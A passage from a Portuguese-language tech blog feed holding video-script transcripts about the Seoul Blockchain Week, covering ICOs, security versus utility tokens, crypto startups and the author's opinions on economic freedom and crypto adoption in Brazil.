<p>E para a última categoria vamos começar falando de 2 projetos na área de energia. Que tal o Electrify Asia. Parece que em alguns países como Singapura a eletricidade foi democratizada desde 2001. E qualquer um que consuma mais que 2000 kWH pode escolher seu fornecedor de energia - coisa que nem ouvimos falar por aqui. Eles querem criar um marketplace onde você pode comprar energia usando o token deles, o ELEC, abrindo o mercado para pequenos produtores, por exemplo prédios que tem células solares no teto e queiram vender seu excesso de energia. Eles também estão querendo fabricar o PowerPod que é basicamente um medidor de saída de energia para pequenos produtores, para medir e executar as trades p2p em seus smart contracts. É uma idéia interessante em países mais avançados que já estão chegando nesse estágio.</p>
<p>No mesmo setor mas com outra proposta é a WePower, no caso é mais um crowdfunding para projetos de energia renovável. Eles também querem conectar compradores e produtores, também usam smart contracts ethereum, e também tem seus próprios tokens de energia.</p>
<p>Enfim, bons ou ruins, todos os projetos envolvem tokens como vocês podem ver. Em comum é que a maioria são tokens no padrão ERC20 que é uma interface padrão de smart contracts, normalmente programados em Solidity, uma linguagem meio primária que não te protege muito não, e é muito fácil cometer erros graves. E pra piorar, uma vez instalado no blockchain o contrato é imutável. Muitos casos graves de bugs em smart contract já levaram muitos ICOs a perder todos os seus tokens. E por causa disso achei interessante um projeto que vi lá chamado CertiK que é uma plataforma que executa uma séries de checagens de análise estática de código (como um Brakeman, que usamos em projetos Ruby) para achar erros comuns como buffer overflow e coisas do tipo, com o twist que obviamente else rodam as análises de forma descentralizada. Eles dizem criar um certificado para dizer que seu smart contract é “sem bugs e resistente a hackers”, isso eu já acho um exagero. Tudo bem que tokens ERC20 não são exatamente difíceis de fazer, então quem sabe eles já tenham mesmo coberto tudo nesse tipo específico de smart contract.</p>
<p>E, claro, se você não é exatamente o tipo que consegue programar seus próprios smart contracts, não se preocupe, existe o projeto TOKEDO que oferece produtos como wallet, uma exchange e nada menos que um Criador de Tokens para ICOs usando o modelo DAICO que é um modelo sugerido por ninguém menos que o criador do ethereum Vitalik Buterin para incorporar certos aspectos de uma DAO ou organização autônoma descentralizada em tokens para crowdfunding. Na prática é uma governança automatizada onde o projeto que levanta o ICO não tem acesso a todos os fundos gerados pela venda dos tokens, em vez disso ele vai soltando os fundos à medida que o projeto realmente entregue os milestones que ele mesmo prometeu ou os fundos restantes são devolvidos aos compradores. É meio como funcionam rounds de investimento tradicional em startups. Você atinge metas e recebe o próximo round, e é um modelo mais correto para ICOs que é o que muitas regulamentações devem começar a exigir de qualquer jeito. Então, se você ficou interessado em criar seu próprio ICO, estude o modelo DAICO.</p>
<p>E, finalmente, chegamos ao fim!! Nem acredito! A parte 1 e esta parte 2 listam a maioria dos projetos que circularam no meetup da CoinUS e BRP, na Beyond Blocks e na Blockchain Partners. Não é a lista completa mas pelo menos dá uma boa idéia de diferentes casos de uso para novos blockchains, tokens ERC20, security e utility tokens e explora mais como os tokens podem ser usados em aplicações mais reais. É muito importante que ecossistemas de ICOs floreçam para abrir o caminho para um uso mais cotidiano de criptomoedas no mundo real. E como vocês já devem ter concluído é uma pena que ainda não exista nada perto disso deste lado do planeta. Da minha parte, em breve teremos suporte a tokens ERC20 na minha exchange a OmniTrade, então vão preparando seus ICOs ;-)</p>
<p>Chegamos ao fim desta enorme série sobre a Coréia do Sul e o Blockchain Week que tive a oportunidade de visitar. Talvez tenhamos uma nova série como esta em breve já que pretendo fazer uma visita um pouco mais curta na Ilha de Malta que tanto mencionamos nos últimos vídeos. Até lá quero fazer vídeos sobre outros assuntos. O que vocês gostariam que eu discutisse nos próximos vídeos? Não deixem de sugerir assuntos nos comentários abaixo. Se gostaram deem um joinha, assinem o canal e cliquem no sininho! A gente se vê, valeu galera!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>startups</category><category>negocios</category><category>akitando</category></item><item><title>[Akitando] #5 - Liberdade Econômica, Cripto no Brasil, e para onde aponta o futuro?</title><link>https://akitaonrails.github.io/2018/08/28/akitando-5-liberdade-economica-cripto-no-brasil-e-para-onde-aponta-o-futuro/</link><guid isPermaLink="true">https://akitaonrails.github.io/2018/08/28/akitando-5-liberdade-economica-cripto-no-brasil-e-para-onde-aponta-o-futuro/</guid><pubDate>Tue, 28 Aug 2018 17:00:00 -0300</pubDate><description>&lt;p&gt;Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal &lt;a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener"&gt;Akitando&lt;/a&gt;. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/YsQCtwsdaXE"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;Descrição no YouTube&lt;span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Estamos quase lá! Penúltimo episódio da minha série sobre Seoul e as conferências de criptomoedas. Neste episódio vamos dar mais contexto sobre a principal finalidade do mundo de criptomoedas: Liberdade Econômica.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal <a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener">Akitando</a>. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/YsQCtwsdaXE"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>Descrição no YouTube<span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"></span>
    <a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Estamos quase lá! Penúltimo episódio da minha série sobre Seoul e as conferências de criptomoedas. Neste episódio vamos dar mais contexto sobre a principal finalidade do mundo de criptomoedas: Liberdade Econômica.</p>
<p>Links:</p>
<ul>
<li>Spotniks (<a href="https://www.youtube.com/watch?v=TO8yBl48DTQ"target="_blank" rel="noopener">https://www.youtube.com/watch?v=TO8yBl48DTQ</a>)</li>
<li>How Africa is Becoming China&rsquo;s China (<a href="https://www.youtube.com/watch?v=zQV_DKQkT8o&amp;t=1s"target="_blank" rel="noopener">https://www.youtube.com/watch?v=zQV_DKQkT8o&t=1s</a>)</li>
<li>Hans Rosling&rsquo;s Factfulness (<a href="https://www.amazon.com/Factfulness-Reasons-World-Things-Better/dp/1250107814"target="_blank" rel="noopener">https://www.amazon.com/Factfulness-Reasons-World-Things-Better/dp/1250107814</a>)</li>
<li>Coin Trade Monitor (<a href="https://www.cointradermonitor.com/preco-bitcoin-brasil.php"target="_blank" rel="noopener">https://www.cointradermonitor.com/preco-bitcoin-brasil.php</a>)</li>
<li>Coin Dance (<a href="https://coin.dance/volume/localbitcoins"target="_blank" rel="noopener">https://coin.dance/volume/localbitcoins</a>)</li>
<li>Futuro Descentralizado (<a href="https://www.facebook.com/futurodescentralizado/videos/480546089063148/"target="_blank" rel="noopener">https://www.facebook.com/futurodescentralizado/videos/480546089063148/</a>)</li>
<li>OmniTrade (<a href="https://omnitrade.io"target="_blank" rel="noopener">https://omnitrade.io</a>)</li>
</ul>
<h2>Script<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>No episódio anterior vimos sobre a diferenciação de Security Tokens e Utility Tokens E o caminho que muitos países têm tomado em torno das regulamentações.</p>
<p>Essa discussão não tem uma conclusão “final” porque em última instância depende do congresso de cada país passar as regulamentações, mas mais e mais o discurso tem sido menos agressivo e mais razoável em torno de criptomoedas, em particular no lançamento das ICOs. O fator que freia todo mundo são episódios como o crescimento parabólico do ano passado, que não é bom pra ninguém, nem mesmo pros crypto funds, porque você cria um cenário irreal para investimento. Todos concordam que foi bom a correção ter acontecido logo, preparando o terreno para um novo bull run em breve. O fim do ano passado foi só uma prévia do que está por vir e um aviso para os interessados na infraestrutura estarem preparados.</p>
<p>Nos discursos de vários palestrantes, notoriamente como de Roger Ver - principal evangelista do Bitcoin Cash - é a liberdade econômica que esse novo mercado de criptomoedas proporciona. Uma forma de troca de valor que não depende de um banco central nem de um governo, moedas que podem cruzar fronteiras e inclusive quebrar a soberania de países. Muitos podem ser céticos quanto a isso, mas pergunte a um Venezuelano quais opções ele tem.</p>
<p>Obviamente é consenso entre os participantes dessa comunidade que security tokens não deveriam ser proibidos. E que, no mínimo deveriam ser diferenciados os tokens que representam investimento numa startup e outras que tem utilidade para coisas como pagamentos. Muitos inclusive apostam que estamos por ver ainda uma nova era de Security Tokens.</p>
<p>Liberdade econômica é a principal promessa de um mundo movido a criptomoedas. Dar acesso a qualquer um de participar de startups que no futuro se tornem a próxima Amazon ou o próximo Paypal. Hoje em dia, o cidadão comum não tem acesso a esse tipo de investimento - só depois de um IPO, quando muitos dos investidores iniciais - que compraram barato - já inclusive saíram do investimento e realizaram lucros seguros às custas do risco que a população em geral vai incorrer quando as ações vão a público.</p>
<p>Assim como criptomoedas são a resposta ao monopólio do controle monetário dos bancos centrais e o terrível oligopólio dos bancos privados, ICOs são a resposta ao mercado de securities, bolsas, corretoras de fundos de investimentos tradicionais. Assim como não é do interesse dos bancos concorrer com criptomoedas - e por isso toda vez que você ver um banco falar mal de criptomoedas você sabe porque. Também não é do interesse de fundos tradicionais ou outros intermediários do mundo das bolsas ver ICOs funcionando fora do seu controle, por isso também quando você vê um JPMorgan falando mal de ICOs, você também sabe porque.</p>
<p>Diversos projetos famosos nasceram de ICOs, incluindo o grande Ethereum, o recente EOS, e outros como Telegram, Bluzelle, até o famigerado Petro e muitos outros. Só em termos de criptomoedas, que englobam os conhecidos Bitcoin, Litecoin, Ripple e ademais, existem perto de 2.000 moedas. Muitas delas vão morrer, claro, mas no futuro próximo, a visão não é que vão existir menos moedas. Segundo Chengpeng Zhang (mais conhecido como CZ) e fundador da monstruosa Binance, no futuro haverão milhares de mais moedas. O desafio das corretoras será ofertar ao público dezenas de milhares de digital assets. Não só moedas, mas tokens em geral.</p>
<p>A Binance é um case nesse sentido, em 1 ano, sendo uma corretora exclusivamente negociando pares de criptos, sem incluir moedas fiat (fiduciárias), eles tem hoje 10 milhões de usuários. Nasceram na China mas a Ásia em geral adora eles. CZ é praticamente um Steve Jobs, o povo queria tirar selfies e pedir autógrafo. A afirmação do CZ que o mundo pode ter milhões de criptomoedas ou tokens faz muito sentido!</p>
<p>E eu tendo a concordar. Pense comigo. Por causa do episódio Napster e depois os dias de BitTorrent com casos como The Pirate Bay, o consenso foi que para distribuir assets digitais como música a única forma é através de um intermediário que controla a distribuição, o famoso modelo iTunes iniciado pela Apple e replicado com sucesso em outros jardins fechados como a Apple App Store, Google App Store, Steam, Netflix, Amazon Prime e assim por diante, pulando de modelos de compra para modelos de assinatura, mas o principal: com a identidade e unicidade da distribuição ou do uso, controlado por uma entidades privadas centralizadas.</p>
<p>A idéia de mecanismos como blockchain é permitir a transferência de propriedade de um asset digital de forma única, com consenso que independe de centralização. É isso que muda tudo.</p>
<p>E num mundo onde esse mecanismo se torna ubíquito, qualquer coisa é tokenizável. Pense seus créditos de Playstation Store, Xbox Store, pontos da Smiles, qualquer coisa que hoje representa um valor e é controlado por uma entidade centralizada poderia ser facilmente um asset digital negociável. Você poderia livremente negociar suas milhas por créditos de XBox. E isso é um caso de uso pequeno.</p>
<p>Parece que nesse momento, no pós-crash de 2017, incluindo a reação de diversas instituições dos diversos governos, estamos falando mais em como criar um ecossistema sustentável de ICOs, com algum nível de regulamentação, mas nada draconiano que ferem as liberdades econômicas dos indivíduos.</p>
<p>Enquanto alguns governos estão patinando nessa discussão, outros países estão mais dispostos a experimentar os riscos. Nos Estados Unidos, no Brasil e outros países, ICOs que sejam categorizados como distribuição de security tokens devem ser registrados na SEC ou na CVM aqui.</p>
<p>Como vai acontecer: em vez de abrir uma empresa em países regulados, você pode simplesmente abrir em países não regulamentos ou explicitamente amigáveis a ICOs como Estônia, Rússia, Ilhas Cayman, Gibraltar e oferecer os coins lá. Listar em corretoras abertas em países igualmente abertos, principalmente se for uma corretora que só opera cripto-para-cripto como a Binance.</p>
<p>Em países regulados, você pode negociar suas moedas fiduciárias em corretoras que negociam pares de fiat-para-cripto e mover suas coins para corretoras de fora. E assim participar do mercado de ICOs como bem quiser. Sem necessidade de alguém autorizando ou não.</p>
<p>Por isso os países restritivos vão precisar rever seus conceitos logo, porque a idéia de criptomoedas é justamente romper as barreiras geopolíticas. Em seu mundinho pequeno, você pode achar que não tem valor nenhum para você. Mas pergunte a um venezuelano e ele vai lhe dizer como a vida dele seria muito mais difícil sem criptomoedas. O governo destruiu a Venezuela, em 1 ano eles cortaram 11 zeros da moeda. O preço de imprimir a moeda ficou mais caro do que a moeda em si. Esse é o nível da hiperinflação que assola o país. E mais um aviso de porque governos populistas são os menos confiáveis. Você não tem nenhuma garantia que seu dinheiro na poupança vai existir daqui 10 anos. Por isso mesmo, quem pode nunca deixa todo seu dinheiro num país só. Você acha que não deveria confiar em criptomoedas? Eu acho que não se deveria confiar em governos da América Latina, ponto. Eu jamais deixaria todos os meus ativos acumulados no Brasil, e é por isso que estou tão interessado na Ásia.</p>
<p>Os ocidentais até tem uma noção disso, mas a Ásia é muito mais populosa que o Ocidente. Se você não tem idéia. Pense assim, as América tem 1 bilhão de pessoas. A Europa tem 1 bilhão de pessoas. O continente africano tem 1 bilhão. 4 bilhões estão na Ásia. A taxa de crescimento populacional nas américa, Europa e Ásia já estabilizou. Em alguns anos será a África a crescer demasiadamente, então vamos ficar com 1 bilhão nas Américas, 1 bilhão na Europa, 3 a 4 bilhões na África e 4 bilhões na Ásia.</p>
<p>Seu mundo é muito pequeno se você pensa só nas Américas e na Europa. Qualquer coisa que vai ter impacto global, seja economicamente, climaticamente ou qualquer coisa assim vai vir primeiro da Ásia e depois da África. Você sabia que sabendo disso, hoje a África é a China da China? Veja este vídeo.</p>
<p><a href="https://www.youtube.com/watch?v=zQV_DKQkT8o"target="_blank" rel="noopener">https://www.youtube.com/watch?v=zQV_DKQkT8o</a></p>
<p>Moedas são um conceito financeiro. Você provavelmente ou viveu ou lembra seus pais falando da hiperinflação que passamos nos anos 80 até meio dos 90. O “remédio” para isso envolveu a criação de uma segunda “moeda”, em termos atuais, uma “stable coin” que serviu para nos “ensinar” a viver numa economia estável, sem grandes variações de preço. Foi uma moeda virtual paralelo no dia a dia da economia que poderia ser o equivalente a uma Bitcoin hoje. Ela foi a URV, que ajudou a limpar o caminho antes da entrada do Real. Se você não conhece a história recomendo a assistir este filme brasileiro que conta um pouco dessa história.</p>
<p>Voltando ao ponto, em resumo, a maior parte das conferências ficou centrado em muitas das startups abrindo ICO apresentando porque você deveria investir nelas - e eles fazendo pitch para as corretoras para ver se eles conseguem ser listados numa Binance. E a discussão de representantes de diversos países discutindo a situação atual de regulamentação, incluindo um pitch forte para países irem ver como está Taiwan, Malta, Suíça, Cingapura, por exemplo. E um recado aos países Ocidentais que se eles ficam relutantes por muito tempo, vai ser tarde porque a Ásia e o Leste Europeu estão acelerando.</p>
<p>Eu fiz algumas pesquisas, a América do Sul é um caso vergonhoso de adoção de criptomoedas. Como sempre, estamos uns 5 anos pra trás de todo mundo. Veja o Brasil, se você procurar saber quão o volume de transações digamos que num dia normal sejam registrados cerca de 700 BTC negociados por dia. Em todas as corretoras.</p>
<p>Isso é ridículo. A Venezuela sozinha negocia isso numa única corretora. O mesmo vale pra Colômbia e se não me engano até no Peru. Uma única corretora negocia isso por dia. Uma única pequena corretora dos Estados Unidos negocia 5 a 10 vezes isso por dia, e isso porque eu disse no vídeo anterior que só 1% da população tem criptomoedas de alguma forma.</p>
<p>No Japão? Só a bitflyer que é uma das maiores corretoras negocia quase 300 mil bitcoins por dia. O mesmo vale pra Coréia do Sul. A Binance, sozinha negocia quase 50 mil BTC por dia. Estamos falando de volumes nunca vistos na América do Sul.</p>
<p>Some a isso ao fato que nosso mercado é pobre em tecnologia e em visão de negócios. Desses 700 BTC eu não ficaria surpreso de confirmar que metade do valor é basicamente nulo, são negociações automatizadas para inflar o volume, sem equivalente em lastro de criptomoedas. Então o Brasil como um todo, se negociar 300 BTC por dia, é muito.</p>
<p>Para um país que tem quase 4 vezes o PIB da Colômbia, nosso resultado em criptomoedas é vergonhoso, pra dizer o mínimo. E ICO? Vc já ouviu falar de alguma, onde são negociadas? Quais os modelos??? Realmente temos um longo caminho a perseguir.</p>
<p>O povo em geral não gosta de riscos mas gosta de superstições, messias e salvadores da pátria. É um povo acostumado a terceirizar seu futuro a figuras folclóricas que acham que vai fazer melhor do que ele. De chavistas, a castristas, a peronistas, ninguém aprende com a história e continua apostando seu futuro num messias. Asiáticos e Norte Americanos tendem a ser mais individualistas: meu futuro é meu, deixa que eu cuido. Se eu fizer merda, perco tudo, mas eu que perdi, não um falso messias que perdeu por mim. Por outro lado, se eu ganhar horrores é tudo meu, que ninguém venha me tirar. Esse é o correto e o que garante a contínua evolução da humanidade.</p>
<p>Outro ponto importante que foi levantado na palestra de Jason Han da Kakao. Quando o browser foi inventado no começo dos anos 90, já existia 2% da população mundial usando a Internet de alguma forma, mesmo que bem primária como troca de e-mail e vendo páginas de conteúdo de universidades. O uso de criptomoedas no mundo ainda está nos 0.2%. E mesmo assim já temos o market cap de agora. Estamos caminhando para os 2%, imagine o crescimento exponencial a partir dali. Eu já disse isso em outros canais e repito aqui: estamos na era pré-browser, pré-amazon, pré-google, imagine as possibilidades.</p>
<p>Nossa missão? Chegar aos 2%, nesse ponto vamos começar a ver a matemática exponencial começar a gerar resultados mais palpáveis para a maioria da população. Este é o começo, você tem a oportunidade de entrar logo no começo. Os próximos 10 anos prometem.</p>
<p>No próximo episódio eu vou concentrar a maioria das startups que estavam presentes nos eventos numa montagem mais rápida para finalizar o assunto da Coréia. O que acharam deste episódio? Não deixem de comentar abaixo, dêem um joinha se gostaram e assinem o canal e cliquem no sininho para não perder nenhum episódio!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>economia</category><category>mercado-de-tecnologia</category><category>akitando</category></item><item><title>[Akitando] #4 - Blockchain Week Seoul: Entendendo ICOs</title><link>https://akitaonrails.github.io/2018/08/23/akitando-4-blockchain-week-seoul-entendendo-icos/</link><guid isPermaLink="true">https://akitaonrails.github.io/2018/08/23/akitando-4-blockchain-week-seoul-entendendo-icos/</guid><pubDate>Thu, 23 Aug 2018 17:00:00 -0300</pubDate><description>&lt;p&gt;Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal &lt;a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener"&gt;Akitando&lt;/a&gt;. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/gLCfk08VixI"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;Descrição no YouTube&lt;span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Finalmente entrando mais a fundo nas diversas palestras dos eventos Beyond Blocks e Blockchain Parterns, vamos entender os principais pontos de discussão a respeito de Initial Coin Offerings ou ICOs, Security vs Utility Tokens, tokenização e outros dos principais tópicos discutidos na conferência.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal <a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener">Akitando</a>. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/gLCfk08VixI"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>Descrição no YouTube<span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"></span>
    <a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Finalmente entrando mais a fundo nas diversas palestras dos eventos Beyond Blocks e Blockchain Parterns, vamos entender os principais pontos de discussão a respeito de Initial Coin Offerings ou ICOs, Security vs Utility Tokens, tokenização e outros dos principais tópicos discutidos na conferência.</p>
<p>Links do vídeo:</p>
<ul>
<li>Beyond Blocks Summit Seoul (<a href="https://beyondblocks.com/summit/seoul/"target="_blank" rel="noopener">https://beyondblocks.com/summit/seoul/</a>)</li>
<li>Blockchain Partners Summit (<a href="http://blockchainpartnerssummit.com/"target="_blank" rel="noopener">http://blockchainpartnerssummit.com/</a>)</li>
<li>NÃO Faça o que você (&ldquo;ACHA&rdquo;) que Ama (<a href="http://www.akitaonrails.com/2014/09/13/off-topic-nao-faca-o-que-voce-acha-que-ama"target="_blank" rel="noopener">http://www.akitaonrails.com/2014/09/13/off-topic-nao-faca-o-que-voce-acha-que-ama</a>)</li>
<li>Coleção INCERTO de Nassim Taleb (<a href="https://www.penguinrandomhouse.com/books/247576/incerto-4-book-bundle-by-nassim-nicholas-taleb/9780812997699/"target="_blank" rel="noopener">https://www.penguinrandomhouse.com/books/247576/incerto-4-book-bundle-by-nassim-nicholas-taleb/9780812997699/</a>)</li>
</ul>
<h2>Script<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>Bom, se você assistiu o episódio anterior, já tem uma boa idéia de porque a Coréia do Sul se tornou uma força monumental no mundo de criptomoedas. Num certo momento, eles chegaram a ser sozinhos mais de 30% do volume global de moedas como Bitcoin ou Ethereum.</p>
<p>Vamos gastar os próximos 3 episódios analisando os principais assuntos discutidos nos eventos Beyond Blocks e Blockchain Partners Summit que assisti. Não vou ficar detalhando palestra a palestra mas sim delinear os pontos principais que foram comuns em todos e que podem ser novidades para a maioria das pessoas no Ocidente. Não deixe de assinar o canal e clicar no sininho para não perder os próximos episódios.</p>
<p>Agora pensa assim, muitos dos investidores mais antigos, que compraram Bitcoin lá por 2012, ou Ethereum lá por 2015, começaram a re-investir os ganhos em produtos e serviços e criaram o ecossistema de corretoras, wallets, crypto funds, aceleradoras e, eventualmente, o que eles chamam de “Syndicates”. Em resumo pense que existe um grupo de influência que “mentora”, “acelera”, e facilita o listing de startups que lançam ICO tokens nas diversas corretoras. Daí eles ativam os influenciadores como YouTube e apps como wallets que tem a opção de participar do lançamento inicial dessas tokens direto das carteiras!</p>
<p>Influenciadores como a Hashed que mencionei no episódio anterior, a BRP (Blockchain Revolution Partner), a FBG Capital, são alguns que capitaneiam o mercado de criptomoedas e principalmente de ICOs. E isso na Coréia. Uma estrutura similar existe em outros países asiáticos como China, Japão, e também Suíça, Estônia, em breve veremos algo assim em Taiwan, Thailândia, Ilha de Malta.</p>
<p>Nos Estados Unidos esse tipo de estrutura não pode acontecer, pelo menos não fácil. Já vou explicar porque.</p>
<p>Assim como em qualquer ambiente denso em startups, você vê tudo que é tipo de bizarrice. A maior parte é ruim pra caramba. Vá em qualquer evento de startups e você sabe que, dentre as dezenas de startups apresentando, talvez 1 ou 2 tenha algum futuro de verdade, todo o resto vai morrer na praia. Seja porque a equipe fundadora é claramente ruim, ou o modelo de negócios é obviamente ruim, ou a execução da idéia é obviamente mal feita, ou uma combinação de tudo isso.</p>
<p>Vou fazer um vídeo separado só mostrando rapidamente as diversas apresentações de startups que vi por lá pra vocês terem uma noção.</p>
<p>Explicando, todo VC, aceleradora e incentiva todo mundo a “perseguir suas próprias idéias”, mesmo aqueles que claramente nem deveriam, com bordões muito ruins como “faça o que você ama” ou “seja seu próprio chefe”, como se fosse a única coisa nobre a se fazer (spoiler: não é). Porque o que interessa são os grandes números. Digamos, se só 1 em cada 1000 vai ser bem sucedido, você precisa convencer 2000, 3000 pessoas, pra ter 2 ou 3 que vão trazer grandes retornos. É a estatística dos grandes números.</p>
<p>Esse é o normal em tech startups, esse é o normal em ICOs, todo mundo já deveria conhecer Nassim Taleb que deixa isso bem claro em seus livros Cisne Negro e Anti Fragil.</p>
<p>O modelo de negócio dos VCs, os venerados Venture Capitalists, é diversificar suas opções e ter acesso inicial aos negócios quando o preço das shares é mais baixo e podem ter parte do controle da empresa. Assim podem criar um pacote mais atraente e conseguir outros investidores em rounds seguintes, até que possam ter “exit” (saída) e realizar os lucros antes ainda do negócio realmente vingar. Não é responsabilidade do VC ver a empresa dar lucro e se tornar sustentável. A estrutura de um VC requer que a startup dê lucro porque ele não pode jogar contra ele mesmo ou shortear as ações como poder fazer um Hedge Fund, por exemplo.</p>
<p>ICOs de security tokens adicionam um problema hoje em alguns lugares. Simplificando, ICOs, ou Inicial Coin Offerings, apareceram como uma alternativa barata e simples aos IPOs ou Initial Public Offerings. Porque você está oferecendo shares ao público, pra abrir e poder negociar você precisa passar pelo crivo da SEC que é a U.S. Securities and Exchange Commision. Só aí você pode listar na bolsa. No Brasil o equivalente seria a Comissão de Valores Mobiliários, ou CVM.</p>
<p>Agora, ICOs, tirando vantagem da característica de imutabilidade e consenso descentralizado do blockchain, permite que você distribua “assets digitais” únicos, não adulteráveis, como moedas, ou no caso, de Security Tokens como mencionei, o equivalente a uma security (ou valor mobiliário) digital. Daí você corta o intermediário (SEC, bolsa) e vai direto a quem quer adquirir esse asset usando um token.</p>
<p>Existem pelo menos 2 tipos de ICOs, as que distribuem security tokens e as que distribuem utility tokens. Voltando aos Estados Unidos, existe um critério chamado o Teste de Howey por causa da disputa SEC vs Howey em 1946. Na prática: se é um investimento de dinheiro, num empreendimento comum, com expectativa de lucro primariamente através dos esforços de terceiros” então é um security.</p>
<p>Isso meio que leva todo ICO nos Estados Unidos a ser reconhecido como security. E isso impede que ICOs tenham muita utilidade lá. Entenderam porque eu quis ir conhecer a Ásia?</p>
<p>Existem desvantagens em ICOs assim como em qualquer investimento de risco, regulado ou não regulado. Porém, um ICO tem algumas grandes vantagens difíceis de ignorar. Primeiro de tudo elas são mais baratas, porque não tem taxa de intermediários, corretoras, bancos, burocracia. Tem velocidade na execução, novamente porque estamos removendo intermediários. Fora a maior exposição ao livre mercado internacional, por exemplo, você é do Brasil como que você pode comprar ações da Nasdaq? É difícil. Como faz um cidadão chinês, ou sul coreano? É difícil. ICOs removem as barreiras geopolíticas. Isso em contrapartida aumenta a quantidade possível de investidores também. Em querer evitar que as ICOs ruins tenham acesso a essa demanda, você também impede os bons ICOs de serem bem sucedidos.</p>
<p>Utility Tokens como o nome diz, tem uma utilidade na rede. Por exemplo, uma Smiles poderia transformar seus pontos em utility tokens. Você poderia adquirir esses pontos como tokens e trocá-los livremente por produtos ou serviços. Esses tokens podem mudar de valor por causa da dinâmica de oferta-procura mas não seria puramente uma security. Parece confuso, mas em conceito é simples: um é um papel, como uma ação, só que em formato digital. O papel por si só não tem utilidade nenhum. Um utility token no mínimo tem um uso, pode não representar um valor pra todo mundo, mas tem valor na rede onde ela opera, exatamente como um Smiles ou qualquer carimbo num cartão de fidelidade, só tem valor na loja que carimbou. Uma security token, por outro lado, é a digitalização de um papel, um asset, assim como o e-mail é a digitalização de uma carta, barateando todo o processo de envio da carta, como consequência.</p>
<p>Sobre utility e pagamentos, tivemos vários exemplos de discussões a respeito. Empresas como PumaPay que é resultado de outra bem sucedida ICO que levantou quase USD 120 milhões e se tornou o 7o maior ICO de sucesso, levantando o ponto de como cartões de crédito tem uma baixa usabilidade hoje, com tecnologia defasada dos anos 50 cobrando taxas enormes dos comerciantes, com longa demora de settlement (ou liquidação), sem contar as fraudes.</p>
<p>Outra apresentação interessante que me chamou a atenção veio do co-fundador da Tmon, o equivalente Groupon deles, Daniel Shin, onde ele pretende lançar uma plataforma chamada Terra para pagamentos com criptomoedas e usar o poder que ainda tem na TMon para alavancar essa plataforma, assim como a eBay fez ao Paypal. Um conceito que parece estar ganhando terreno no mundo de pagamentos com criptomoedas é o uso de algum tipo de “Stable Coin”, uma moeda cujo controle é mais centralizado, onde o Terra seria emitido ao mercado com mais frequência quando a demanda for alta e parte das taxas seria guardado para a recompra das moedas quando a demanda cair, de forma a manter o preço mais ou menos estável, como um Banco Central faz com swaps cambiais para estabilizar a cotação do dólar, por exemplo.</p>
<p>Este e o próximo episódio estão densos em conceitos que talvez sejam novos para muita gente assistindo. Eu gostaria de evitar fazer vídeos muito introdutórios, vamos assumir que a maioria das pessoas já entende o que são criptomoedas. Não vejo necessidade de ficar explicando, de novo, a técnica por trás dos blockchains, mesmo porque eu acho que a tecnologia ainda vai evoluir em breve.</p>
